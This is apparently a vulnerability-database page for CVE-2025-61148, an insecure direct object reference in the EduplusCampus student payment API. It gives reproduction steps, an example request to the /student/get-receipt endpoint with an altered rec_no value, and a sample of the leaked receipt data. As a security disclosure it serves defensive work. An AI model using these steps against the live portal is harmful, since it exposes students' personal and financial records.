| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-61148 | 3 Dec 202505:21 | โ | circl | |
| EduplusCampus ๅฎๅ จๆผๆด | 4 Dec 202500:00 | โ | cnnvd | |
| CVE-2025-61148 | 4 Dec 202500:00 | โ | cve | |
| CVE-2025-61148 | 4 Dec 202500:00 | โ | cvelist | |
| EUVD-2025-201212 | 4 Dec 202500:00 | โ | euvd | |
| CVE-2025-61148 | 4 Dec 202516:16 | โ | nvd | |
| CVE-2025-61148 | 4 Dec 202516:16 | โ | osv | |
| ๐ EduplusCampus Student Portal 3.0.1 Insecure Direct Object Reference | 12 Dec 202500:00 | โ | packetstorm | |
| PT-2025-49097 | 4 Dec 202500:00 | โ | ptsecurity | |
| CVE-2025-61148 | 11 Dec 202505:03 | โ | redhatcve |
# CVE-2025-61148
The vulnerability exists in the Student Payment API. The application fails to properly validate whether the user requesting a receipt is authorized to view it. By modifying the rec_no parameter in the API request, an attacker can access the receipts of other users.
# CVE-2025-61148: IDOR in EduplusCampus Student Payment API
**CVE ID:** CVE-2025-61148
**Vulnerability Type:** Insecure Direct Object Reference (IDOR)
**Affected Product:** EduplusCampus
**Affected Endpoint:** `/student/get-receipt`
**Researcher:** Vinay Sharma
## Summary
A critical Insecure Direct Object Reference (IDOR) vulnerability was identified in the EduplusCampus student portal (version 3.0.1). This vulnerability allows an authenticated user to access the sensitive personal and financial records of other students by modifying the `rec_no` parameter in the API request.
## Impact
Successful exploitation allows an attacker to retrieve:
* Full Name and Roll Number
* Payment Amount and Dates
* Transaction IDs (TID) and Bank Details
* Personal Identifiable Information (PII)
## Vulnerability Details
The application fails to properly validate the authorization of the user requesting a payment receipt. The `rec_no` parameter is sequential or guessable, and the server returns the receipt details for the requested number without checking if it belongs to the currently logged-in user.
### Steps to Reproduce
1. Login to the student portal.
2. Navigate to the receipt generation section.
3. Intercept the POST request to `/student/get-receipt`.
4. Locate the `rec_no` parameter in the JSON body.
5. Modify the `rec_no` value to another valid receipt number (e.g., changing `PCUF-232025` to `PCUF-231824`).
6. Send the request.
7. The server responds with the personal and financial details of the student associated with that receipt number.
<img width="716" height="446" alt="image" src="https://github.com/user-attachments/assets/a6735745-e9e7-40ec-8218-583cc152793d" />
<img width="720" height="485" alt="image" src="https://github.com/user-attachments/assets/7ee25304-dbb6-4463-a2a2-058cfef0e945" />
### Example Request
```http
POST /student/get-receipt HTTP/1.1
Host: student.edupluscampus.com
Content-Type: application/json
Authorization: Bearer <token>
{
"rec_no": "PCUF-233012"
}
### Leaked DATA Example:
{
"fullname": "REDACTED_NAME",
"rollno": "CSE2019XXX",
"component_total_amount": 55000.0,
"trans_list": [
{
"date": "21-Oct-2024",
"mode": "Online",
"amount": 55000.0,
"tid": "42951XXXX"
}
]
}
```
### Vendor Information
* **Vendor:** EduplusCampus
* **Product:** EduplusCampus Student Portal / Student Payment API
### Affected Versions
* **Version:** EduplusCampus 3.0.1
### Discoverer
* **Vinay Sharma** - Security ResearcherData
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation